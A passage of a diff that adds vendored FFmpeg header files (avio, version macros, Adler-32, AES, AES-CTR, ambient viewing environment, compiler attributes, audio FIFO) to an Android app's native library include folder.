+ * @note return 0 if EOF, so you cannot use it if EOF handling is
+ *       necessary
+ */
+int          avio_r8  (AVIOContext *s);
+unsigned int avio_rl16(AVIOContext *s);
+unsigned int avio_rl24(AVIOContext *s);
+unsigned int avio_rl32(AVIOContext *s);
+uint64_t     avio_rl64(AVIOContext *s);
+unsigned int avio_rb16(AVIOContext *s);
+unsigned int avio_rb24(AVIOContext *s);
+unsigned int avio_rb32(AVIOContext *s);
+uint64_t     avio_rb64(AVIOContext *s);
+/**
+ * @}
+ */
+
+/**
+ * Read a string from pb into buf. The reading will terminate when either
+ * a NULL character was encountered, maxlen bytes have been read, or nothing
+ * more can be read from pb. The result is guaranteed to be NULL-terminated, it
+ * will be truncated if buf is too small.
+ * Note that the string is not interpreted or validated in any way, it
+ * might get truncated in the middle of a sequence for multi-byte encodings.
+ *
+ * @return number of bytes read (is always <= maxlen).
+ * If reading ends on EOF or error, the return value will be one more than
+ * bytes actually read.
+ */
+int avio_get_str(AVIOContext *pb, int maxlen, char *buf, int buflen);
+
+/**
+ * Read a UTF-16 string from pb and convert it to UTF-8.
+ * The reading will terminate when either a null or invalid character was
+ * encountered or maxlen bytes have been read.
+ * @return number of bytes read (is always <= maxlen)
+ */
+int avio_get_str16le(AVIOContext *pb, int maxlen, char *buf, int buflen);
+int avio_get_str16be(AVIOContext *pb, int maxlen, char *buf, int buflen);
+
+
+/**
+ * @name URL open modes
+ * The flags argument to avio_open must be one of the following
+ * constants, optionally ORed with other flags.
+ * @{
+ */
+#define AVIO_FLAG_READ  1                                      /**< read-only */
+#define AVIO_FLAG_WRITE 2                                      /**< write-only */
+#define AVIO_FLAG_READ_WRITE (AVIO_FLAG_READ|AVIO_FLAG_WRITE)  /**< read-write pseudo flag */
+/**
+ * @}
+ */
+
+/**
+ * Use non-blocking mode.
+ * If this flag is set, operations on the context will return
+ * AVERROR(EAGAIN) if they can not be performed immediately.
+ * If this flag is not set, operations on the context will never return
+ * AVERROR(EAGAIN).
+ * Note that this flag does not affect the opening/connecting of the
+ * context. Connecting a protocol will always block if necessary (e.g. on
+ * network protocols) but never hang (e.g. on busy devices).
+ * Warning: non-blocking protocols is work-in-progress; this flag may be
+ * silently ignored.
+ */
+#define AVIO_FLAG_NONBLOCK 8
+
+/**
+ * Use direct mode.
+ * avio_read and avio_write should if possible be satisfied directly
+ * instead of going through a buffer, and avio_seek will always
+ * call the underlying seek function directly.
+ */
+#define AVIO_FLAG_DIRECT 0x8000
+
+/**
+ * Create and initialize a AVIOContext for accessing the
+ * resource indicated by url.
+ * @note When the resource indicated by url has been opened in
+ * read+write mode, the AVIOContext can be used only for writing.
+ *
+ * @param s Used to return the pointer to the created AVIOContext.
+ * In case of failure the pointed to value is set to NULL.
+ * @param url resource to access
+ * @param flags flags which control how the resource indicated by url
+ * is to be opened
+ * @return >= 0 in case of success, a negative value corresponding to an
+ * AVERROR code in case of failure
+ */
+int avio_open(AVIOContext **s, const char *url, int flags);
+
+/**
+ * Create and initialize a AVIOContext for accessing the
+ * resource indicated by url.
+ * @note When the resource indicated by url has been opened in
+ * read+write mode, the AVIOContext can be used only for writing.
+ *
+ * @param s Used to return the pointer to the created AVIOContext.
+ * In case of failure the pointed to value is set to NULL.
+ * @param url resource to access
+ * @param flags flags which control how the resource indicated by url
+ * is to be opened
+ * @param int_cb an interrupt callback to be used at the protocols level
+ * @param options  A dictionary filled with protocol-private options. On return
+ * this parameter will be destroyed and replaced with a dict containing options
+ * that were not found. May be NULL.
+ * @return >= 0 in case of success, a negative value corresponding to an
+ * AVERROR code in case of failure
+ */
+int avio_open2(AVIOContext **s, const char *url, int flags,
+               const AVIOInterruptCB *int_cb, AVDictionary **options);
+
+/**
+ * Close the resource accessed by the AVIOContext s and free it.
+ * This function can only be used if s was opened by avio_open().
+ *
+ * The internal buffer is automatically flushed before closing the
+ * resource.
+ *
+ * @return 0 on success, an AVERROR < 0 on error.
+ * @see avio_closep
+ */
+int avio_close(AVIOContext *s);
+
+/**
+ * Close the resource accessed by the AVIOContext *s, free it
+ * and set the pointer pointing to it to NULL.
+ * This function can only be used if s was opened by avio_open().
+ *
+ * The internal buffer is automatically flushed before closing the
+ * resource.
+ *
+ * @return 0 on success, an AVERROR < 0 on error.
+ * @see avio_close
+ */
+int avio_closep(AVIOContext **s);
+
+
+/**
+ * Open a write only memory stream.
+ *
+ * @param s new IO context
+ * @return zero if no error.
+ */
+int avio_open_dyn_buf(AVIOContext **s);
+
+/**
+ * Return the written size and a pointer to the buffer.
+ * The AVIOContext stream is left intact.
+ * The buffer must NOT be freed.
+ * No padding is added to the buffer.
+ *
+ * @param s IO context
+ * @param pbuffer pointer to a byte buffer
+ * @return the length of the byte buffer
+ */
+int avio_get_dyn_buf(AVIOContext *s, uint8_t **pbuffer);
+
+/**
+ * Return the written size and a pointer to the buffer. The buffer
+ * must be freed with av_free().
+ * Padding of AV_INPUT_BUFFER_PADDING_SIZE is added to the buffer.
+ *
+ * @param s IO context
+ * @param pbuffer pointer to a byte buffer
+ * @return the length of the byte buffer
+ */
+int avio_close_dyn_buf(AVIOContext *s, uint8_t **pbuffer);
+
+/**
+ * Iterate through names of available protocols.
+ *
+ * @param opaque A private pointer representing current protocol.
+ *        It must be a pointer to NULL on first iteration and will
+ *        be updated by successive calls to avio_enum_protocols.
+ * @param output If set to 1, iterate over output protocols,
+ *               otherwise over input protocols.
+ *
+ * @return A static string containing the name of current protocol or NULL
+ */
+const char *avio_enum_protocols(void **opaque, int output);
+
+/**
+ * Get AVClass by names of available protocols.
+ *
+ * @return A AVClass of input protocol name or NULL
+ */
+const AVClass *avio_protocol_get_class(const char *name);
+
+/**
+ * Pause and resume playing - only meaningful if using a network streaming
+ * protocol (e.g. MMS).
+ *
+ * @param h     IO context from which to call the read_pause function pointer
+ * @param pause 1 for pause, 0 for resume
+ */
+int     avio_pause(AVIOContext *h, int pause);
+
+/**
+ * Seek to a given timestamp relative to some component stream.
+ * Only meaningful if using a network streaming protocol (e.g. MMS.).
+ *
+ * @param h IO context from which to call the seek function pointers
+ * @param stream_index The stream index that the timestamp is relative to.
+ *        If stream_index is (-1) the timestamp should be in AV_TIME_BASE
+ *        units from the beginning of the presentation.
+ *        If a stream_index >= 0 is used and the protocol does not support
+ *        seeking based on component streams, the call will fail.
+ * @param timestamp timestamp in AVStream.time_base units
+ *        or if there is no stream specified then in AV_TIME_BASE units.
+ * @param flags Optional combination of AVSEEK_FLAG_BACKWARD, AVSEEK_FLAG_BYTE
+ *        and AVSEEK_FLAG_ANY. The protocol may silently ignore
+ *        AVSEEK_FLAG_BACKWARD and AVSEEK_FLAG_ANY, but AVSEEK_FLAG_BYTE will
+ *        fail if used and not supported.
+ * @return >= 0 on success
+ * @see AVInputFormat::read_seek
+ */
+int64_t avio_seek_time(AVIOContext *h, int stream_index,
+                       int64_t timestamp, int flags);
+
+/* Avoid a warning. The header can not be included because it breaks c++. */
+struct AVBPrint;
+
+/**
+ * Read contents of h into print buffer, up to max_size bytes, or up to EOF.
+ *
+ * @return 0 for success (max_size bytes read or EOF reached), negative error
+ * code otherwise
+ */
+int avio_read_to_bprint(AVIOContext *h, struct AVBPrint *pb, size_t max_size);
+
+/**
+ * Accept and allocate a client context on a server context.
+ * @param  s the server context
+ * @param  c the client context, must be unallocated
+ * @return   >= 0 on success or a negative value corresponding
+ *           to an AVERROR on failure
+ */
+int avio_accept(AVIOContext *s, AVIOContext **c);
+
+/**
+ * Perform one step of the protocol handshake to accept a new client.
+ * This function must be called on a client returned by avio_accept() before
+ * using it as a read/write context.
+ * It is separate from avio_accept() because it may block.
+ * A step of the handshake is defined by places where the application may
+ * decide to change the proceedings.
+ * For example, on a protocol with a request header and a reply header, each
+ * one can constitute a step because the application may use the parameters
+ * from the request to change parameters in the reply; or each individual
+ * chunk of the request can constitute a step.
+ * If the handshake is already finished, avio_handshake() does nothing and
+ * returns 0 immediately.
+ *
+ * @param  c the client context to perform the handshake on
+ * @return   0   on a complete and successful handshake
+ *           > 0 if the handshake progressed, but is not complete
+ *           < 0 for an AVERROR code
+ */
+int avio_handshake(AVIOContext *c);
+#endif /* AVFORMAT_AVIO_H */

app/src/main/jniLibs/arm64-v8a/include/libavformat/version.h

@@ -0,0 +1,47 @@
+/*
+ * Version macros.
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVFORMAT_VERSION_H
+#define AVFORMAT_VERSION_H
+
+/**
+ * @file
+ * @ingroup libavf
+ * Libavformat version macros
+ */
+
+#include "libavutil/version.h"
+
+#include "version_major.h"
+
+#define LIBAVFORMAT_VERSION_MINOR   7
+#define LIBAVFORMAT_VERSION_MICRO 100
+
+#define LIBAVFORMAT_VERSION_INT AV_VERSION_INT(LIBAVFORMAT_VERSION_MAJOR, \
+                                               LIBAVFORMAT_VERSION_MINOR, \
+                                               LIBAVFORMAT_VERSION_MICRO)
+#define LIBAVFORMAT_VERSION     AV_VERSION(LIBAVFORMAT_VERSION_MAJOR,   \
+                                           LIBAVFORMAT_VERSION_MINOR,   \
+                                           LIBAVFORMAT_VERSION_MICRO)
+#define LIBAVFORMAT_BUILD       LIBAVFORMAT_VERSION_INT
+
+#define LIBAVFORMAT_IDENT       "Lavf" AV_STRINGIFY(LIBAVFORMAT_VERSION)
+
+#endif /* AVFORMAT_VERSION_H */

app/src/main/jniLibs/arm64-v8a/include/libavformat/version_major.h

@@ -0,0 +1,54 @@
+/*
+ * Version macros.
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVFORMAT_VERSION_MAJOR_H
+#define AVFORMAT_VERSION_MAJOR_H
+
+/**
+ * @file
+ * @ingroup libavf
+ * Libavformat version macros
+ */
+
+// Major bumping may affect Ticket5467, 5421, 5451(compatibility with Chromium)
+// Also please add any ticket numbers that you believe might be affected here
+#define LIBAVFORMAT_VERSION_MAJOR  61
+
+/**
+ * FF_API_* defines may be placed below to indicate public API that will be
+ * dropped at a future version bump. The defines themselves are not part of
+ * the public API and may change, break or disappear at any time.
+ *
+ * @note, when bumping the major version it is recommended to manually
+ * disable each FF_API_* in its own commit instead of disabling them all
+ * at once through the bump. This improves the git bisect-ability of the change.
+ *
+ */
+#define FF_API_COMPUTE_PKT_FIELDS2      (LIBAVFORMAT_VERSION_MAJOR < 62)
+#define FF_API_LAVF_SHORTEST            (LIBAVFORMAT_VERSION_MAJOR < 62)
+#define FF_API_ALLOW_FLUSH              (LIBAVFORMAT_VERSION_MAJOR < 62)
+#define FF_API_AVSTREAM_SIDE_DATA       (LIBAVFORMAT_VERSION_MAJOR < 62)
+
+#define FF_API_GET_DUR_ESTIMATE_METHOD  (LIBAVFORMAT_VERSION_MAJOR < 62)
+#define FF_API_INTERNAL_TIMING          (LIBAVFORMAT_VERSION_MAJOR < 62)
+
+#define FF_API_R_FRAME_RATE            1
+
+#endif /* AVFORMAT_VERSION_MAJOR_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/adler32.h

@@ -0,0 +1,63 @@
+/*
+ * copyright (c) 2006 Mans Rullgard
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * @ingroup lavu_adler32
+ * Public header for Adler-32 hash function implementation.
+ */
+
+#ifndef AVUTIL_ADLER32_H
+#define AVUTIL_ADLER32_H
+
+#include <stddef.h>
+#include <stdint.h>
+#include "attributes.h"
+
+/**
+ * @defgroup lavu_adler32 Adler-32
+ * @ingroup lavu_hash
+ * Adler-32 hash function implementation.
+ *
+ * @{
+ */
+
+typedef uint32_t AVAdler;
+
+/**
+ * Calculate the Adler32 checksum of a buffer.
+ *
+ * Passing the return value to a subsequent av_adler32_update() call
+ * allows the checksum of multiple buffers to be calculated as though
+ * they were concatenated.
+ *
+ * @param adler initial checksum value
+ * @param buf   pointer to input buffer
+ * @param len   size of input buffer
+ * @return      updated checksum
+ */
+AVAdler av_adler32_update(AVAdler adler, const uint8_t *buf,
+                          size_t len) av_pure;
+
+/**
+ * @}
+ */
+
+#endif /* AVUTIL_ADLER32_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/aes.h

@@ -0,0 +1,69 @@
+/*
+ * copyright (c) 2007 Michael Niedermayer <michaelni@gmx.at>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_AES_H
+#define AVUTIL_AES_H
+
+#include <stdint.h>
+
+#include "attributes.h"
+
+/**
+ * @defgroup lavu_aes AES
+ * @ingroup lavu_crypto
+ * @{
+ */
+
+extern const int av_aes_size;
+
+struct AVAES;
+
+/**
+ * Allocate an AVAES context.
+ */
+struct AVAES *av_aes_alloc(void);
+
+/**
+ * Initialize an AVAES context.
+ *
+ * @param a The AVAES context
+ * @param key Pointer to the key
+ * @param key_bits 128, 192 or 256
+ * @param decrypt 0 for encryption, 1 for decryption
+ */
+int av_aes_init(struct AVAES *a, const uint8_t *key, int key_bits, int decrypt);
+
+/**
+ * Encrypt or decrypt a buffer using a previously initialized context.
+ *
+ * @param a The AVAES context
+ * @param dst destination array, can be equal to src
+ * @param src source array, can be equal to dst
+ * @param count number of 16 byte blocks
+ * @param iv initialization vector for CBC mode, if NULL then ECB will be used
+ * @param decrypt 0 for encryption, 1 for decryption
+ */
+void av_aes_crypt(struct AVAES *a, uint8_t *dst, const uint8_t *src, int count, uint8_t *iv, int decrypt);
+
+/**
+ * @}
+ */
+
+#endif /* AVUTIL_AES_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/aes_ctr.h

@@ -0,0 +1,99 @@
+/*
+ * AES-CTR cipher
+ * Copyright (c) 2015 Eran Kornblau <erankor at gmail dot com>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_AES_CTR_H
+#define AVUTIL_AES_CTR_H
+
+/**
+ * @defgroup lavu_aes_ctr AES-CTR
+ * @ingroup lavu_crypto
+ * @{
+ */
+
+#include <stdint.h>
+
+#include "attributes.h"
+
+#define AES_CTR_KEY_SIZE (16)
+#define AES_CTR_IV_SIZE (8)
+
+struct AVAESCTR;
+
+/**
+ * Allocate an AVAESCTR context.
+ */
+struct AVAESCTR *av_aes_ctr_alloc(void);
+
+/**
+ * Initialize an AVAESCTR context.
+ *
+ * @param a The AVAESCTR context to initialize
+ * @param key encryption key, must have a length of AES_CTR_KEY_SIZE
+ */
+int av_aes_ctr_init(struct AVAESCTR *a, const uint8_t *key);
+
+/**
+ * Release an AVAESCTR context.
+ *
+ * @param a The AVAESCTR context
+ */
+void av_aes_ctr_free(struct AVAESCTR *a);
+
+/**
+ * Process a buffer using a previously initialized context.
+ *
+ * @param a The AVAESCTR context
+ * @param dst destination array, can be equal to src
+ * @param src source array, can be equal to dst
+ * @param size the size of src and dst
+ */
+void av_aes_ctr_crypt(struct AVAESCTR *a, uint8_t *dst, const uint8_t *src, int size);
+
+/**
+ * Get the current iv
+ */
+const uint8_t* av_aes_ctr_get_iv(struct AVAESCTR *a);
+
+/**
+ * Generate a random iv
+ */
+void av_aes_ctr_set_random_iv(struct AVAESCTR *a);
+
+/**
+ * Forcefully change the 8-byte iv
+ */
+void av_aes_ctr_set_iv(struct AVAESCTR *a, const uint8_t* iv);
+
+/**
+ * Forcefully change the "full" 16-byte iv, including the counter
+ */
+void av_aes_ctr_set_full_iv(struct AVAESCTR *a, const uint8_t* iv);
+
+/**
+ * Increment the top 64 bit of the iv (performed after each frame)
+ */
+void av_aes_ctr_increment_iv(struct AVAESCTR *a);
+
+/**
+ * @}
+ */
+
+#endif /* AVUTIL_AES_CTR_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/ambient_viewing_environment.h

@@ -0,0 +1,72 @@
+/*
+ * Copyright (c) 2023 Jan Ekström <jeebjp@gmail.com>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+#ifndef AVUTIL_AMBIENT_VIEWING_ENVIRONMENT_H
+#define AVUTIL_AMBIENT_VIEWING_ENVIRONMENT_H
+
+#include <stddef.h>
+#include "frame.h"
+#include "rational.h"
+
+/**
+ * Ambient viewing environment metadata as defined by H.274. The values are
+ * saved in AVRationals so that they keep their exactness, while allowing for
+ * easy access to a double value with f.ex. av_q2d.
+ *
+ * @note sizeof(AVAmbientViewingEnvironment) is not part of the public ABI, and
+ *       it must be allocated using av_ambient_viewing_environment_alloc.
+ */
+typedef struct AVAmbientViewingEnvironment {
+    /**
+     * Environmental illuminance of the ambient viewing environment in lux.
+     */
+    AVRational ambient_illuminance;
+
+    /**
+     * Normalized x chromaticity coordinate of the environmental ambient light
+     * in the nominal viewing environment according to the CIE 1931 definition
+     * of x and y as specified in ISO/CIE 11664-1.
+     */
+    AVRational ambient_light_x;
+
+    /**
+     * Normalized y chromaticity coordinate of the environmental ambient light
+     * in the nominal viewing environment according to the CIE 1931 definition
+     * of x and y as specified in ISO/CIE 11664-1.
+     */
+    AVRational ambient_light_y;
+} AVAmbientViewingEnvironment;
+
+/**
+ * Allocate an AVAmbientViewingEnvironment structure.
+ *
+ * @return the newly allocated struct or NULL on failure
+ */
+AVAmbientViewingEnvironment *av_ambient_viewing_environment_alloc(size_t *size);
+
+/**
+ * Allocate and add an AVAmbientViewingEnvironment structure to an existing
+ * AVFrame as side data.
+ *
+ * @return the newly allocated struct, or NULL on failure
+ */
+AVAmbientViewingEnvironment *av_ambient_viewing_environment_create_side_data(AVFrame *frame);
+
+#endif /* AVUTIL_AMBIENT_VIEWING_ENVIRONMENT_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/attributes.h

@@ -0,0 +1,173 @@
+/*
+ * copyright (c) 2006 Michael Niedermayer <michaelni@gmx.at>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * Macro definitions for various function/variable attributes
+ */
+
+#ifndef AVUTIL_ATTRIBUTES_H
+#define AVUTIL_ATTRIBUTES_H
+
+#ifdef __GNUC__
+#    define AV_GCC_VERSION_AT_LEAST(x,y) (__GNUC__ > (x) || __GNUC__ == (x) && __GNUC_MINOR__ >= (y))
+#    define AV_GCC_VERSION_AT_MOST(x,y)  (__GNUC__ < (x) || __GNUC__ == (x) && __GNUC_MINOR__ <= (y))
+#else
+#    define AV_GCC_VERSION_AT_LEAST(x,y) 0
+#    define AV_GCC_VERSION_AT_MOST(x,y)  0
+#endif
+
+#ifdef __has_builtin
+#    define AV_HAS_BUILTIN(x) __has_builtin(x)
+#else
+#    define AV_HAS_BUILTIN(x) 0
+#endif
+
+#ifndef av_always_inline
+#if AV_GCC_VERSION_AT_LEAST(3,1)
+#    define av_always_inline __attribute__((always_inline)) inline
+#elif defined(_MSC_VER)
+#    define av_always_inline __forceinline
+#else
+#    define av_always_inline inline
+#endif
+#endif
+
+#ifndef av_extern_inline
+#if defined(__ICL) && __ICL >= 1210 || defined(__GNUC_STDC_INLINE__)
+#    define av_extern_inline extern inline
+#else
+#    define av_extern_inline inline
+#endif
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(3,4)
+#    define av_warn_unused_result __attribute__((warn_unused_result))
+#else
+#    define av_warn_unused_result
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(3,1)
+#    define av_noinline __attribute__((noinline))
+#elif defined(_MSC_VER)
+#    define av_noinline __declspec(noinline)
+#else
+#    define av_noinline
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(3,1) || defined(__clang__)
+#    define av_pure __attribute__((pure))
+#else
+#    define av_pure
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(2,6) || defined(__clang__)
+#    define av_const __attribute__((const))
+#else
+#    define av_const
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(4,3) || defined(__clang__)
+#    define av_cold __attribute__((cold))
+#else
+#    define av_cold
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(4,1) && !defined(__llvm__)
+#    define av_flatten __attribute__((flatten))
+#else
+#    define av_flatten
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(3,1)
+#    define attribute_deprecated __attribute__((deprecated))
+#elif defined(_MSC_VER)
+#    define attribute_deprecated __declspec(deprecated)
+#else
+#    define attribute_deprecated
+#endif
+
+/**
+ * Disable warnings about deprecated features
+ * This is useful for sections of code kept for backward compatibility and
+ * scheduled for removal.
+ */
+#ifndef AV_NOWARN_DEPRECATED
+#if AV_GCC_VERSION_AT_LEAST(4,6) || defined(__clang__)
+#    define AV_NOWARN_DEPRECATED(code) \
+        _Pragma("GCC diagnostic push") \
+        _Pragma("GCC diagnostic ignored \"-Wdeprecated-declarations\"") \
+        code \
+        _Pragma("GCC diagnostic pop")
+#elif defined(_MSC_VER)
+#    define AV_NOWARN_DEPRECATED(code) \
+        __pragma(warning(push)) \
+        __pragma(warning(disable : 4996)) \
+        code; \
+        __pragma(warning(pop))
+#else
+#    define AV_NOWARN_DEPRECATED(code) code
+#endif
+#endif
+
+#if defined(__GNUC__) || defined(__clang__)
+#    define av_unused __attribute__((unused))
+#else
+#    define av_unused
+#endif
+
+/**
+ * Mark a variable as used and prevent the compiler from optimizing it
+ * away.  This is useful for variables accessed only from inline
+ * assembler without the compiler being aware.
+ */
+#if AV_GCC_VERSION_AT_LEAST(3,1) || defined(__clang__)
+#    define av_used __attribute__((used))
+#else
+#    define av_used
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(3,3) || defined(__clang__)
+#   define av_alias __attribute__((may_alias))
+#else
+#   define av_alias
+#endif
+
+#if (defined(__GNUC__) || defined(__clang__)) && !defined(__INTEL_COMPILER)
+#    define av_uninit(x) x=x
+#else
+#    define av_uninit(x) x
+#endif
+
+#if defined(__GNUC__) || defined(__clang__)
+#    define av_builtin_constant_p __builtin_constant_p
+#    define av_printf_format(fmtpos, attrpos) __attribute__((__format__(__printf__, fmtpos, attrpos)))
+#else
+#    define av_builtin_constant_p(x) 0
+#    define av_printf_format(fmtpos, attrpos)
+#endif
+
+#if AV_GCC_VERSION_AT_LEAST(2,5) || defined(__clang__)
+#    define av_noreturn __attribute__((noreturn))
+#else
+#    define av_noreturn
+#endif
+
+#endif /* AVUTIL_ATTRIBUTES_H */

app/src/main/jniLibs/arm64-v8a/include/libavutil/audio_fifo.h

@@ -0,0 +1,187 @@
+/*
+ * Audio FIFO
+ * Copyright (c) 2012 Justin Ruggles <justin.ruggles@gmail.com>
+ *
+ * This file is part of FFmpeg.
+ *
+ * FFmpeg is free software; you can redistribute it and/or
+ * modify it under the terms of the GNU Lesser General Public
+ * License as published by the Free Software Foundation; either
+ * version 2.1 of the License, or (at your option) any later version.
+ *
+ * FFmpeg is distributed in the hope that it will be useful,
+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ * Lesser General Public License for more details.
+ *
+ * You should have received a copy of the GNU Lesser General Public
+ * License along with FFmpeg; if not, write to the Free Software
+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ */
+
+/**
+ * @file
+ * Audio FIFO Buffer
+ */
+
+#ifndef AVUTIL_AUDIO_FIFO_H
+#define AVUTIL_AUDIO_FIFO_H
+
+#include "attributes.h"
+#include "samplefmt.h"
+
+/**
+ * @addtogroup lavu_audio
+ * @{
+ *
+ * @defgroup lavu_audiofifo Audio FIFO Buffer
+ * @{
+ */
+
+/**
+ * Context for an Audio FIFO Buffer.
+ *
+ * - Operates at the sample level rather than the byte level.
+ * - Supports multiple channels with either planar or packed sample format.
+ * - Automatic reallocation when writing to a full buffer.
+ */
+typedef struct AVAudioFifo AVAudioFifo;
+
+/**
+ * Free an AVAudioFifo.
+ *
+ * @param af  AVAudioFifo to free
+ */
+void av_audio_fifo_free(AVAudioFifo *af);
+
+/**
+ * Allocate an AVAudioFifo.
+ *
+ * @param sample_fmt  sample format
+ * @param channels    number of channels
+ * @param nb_samples  initial allocation size, in samples
+ * @return            newly allocated AVAudioFifo, or NULL on error
+ */
+AVAudioFifo *av_audio_fifo_alloc(enum AVSampleFormat sample_fmt, int channels,
+                                 int nb_samples);
+
+/**
+ * Reallocate an AVAudioFifo.
+ *
+ * @param af          AVAudioFifo to reallocate
+ * @param nb_samples  new allocation size, in samples
+ * @return            0 if OK, or negative AVERROR code on failure
+ */
+av_warn_unused_result
+int av_audio_fifo_realloc(AVAudioFifo *af, int nb_samples);
+
+/**
+ * Write data to an AVAudioFifo.
+ *
+ * The AVAudioFifo will be reallocated automatically if the available space
+ * is less than nb_samples.
+ *
+ * @see enum AVSampleFormat
+ * The documentation for AVSampleFormat describes the data layout.
+ *
+ * @param af          AVAudioFifo to write to
+ * @param data        audio data plane pointers
+ * @param nb_samples  number of samples to write
+ * @return            number of samples actually written, or negative AVERROR
+ *                    code on failure. If successful, the number of samples
+ *                    actually written will always be nb_samples.
+ */
+int av_audio_fifo_write(AVAudioFifo *af, void * const *data, int nb_samples);
+
+/**
+ * Peek data from an AVAudioFifo.
+ *
+ * @see enum AVSampleFormat
+ * The documentation for AVSampleFormat describes the data layout.
+ *
+ * @param af          AVAudioFifo to read from
+ * @param data        audio data plane pointers
+ * @param nb_samples  number of samples to peek
+ * @return            number of samples actually peek, or negative AVERROR code
+ *                    on failure. The number of samples actually peek will not
+ *                    be greater than nb_samples, and will only be less than
+ *                    nb_samples if av_audio_fifo_size is less than nb_samples.
+ */
+int av_audio_fifo_peek(const AVAudioFifo *af, void * const *data, int nb_samples);
+
+/**
+ * Peek data from an AVAudioFifo.
+ *
+ * @see enum AVSampleFormat
+ * The documentation for AVSampleFormat describes the data layout.
+ *
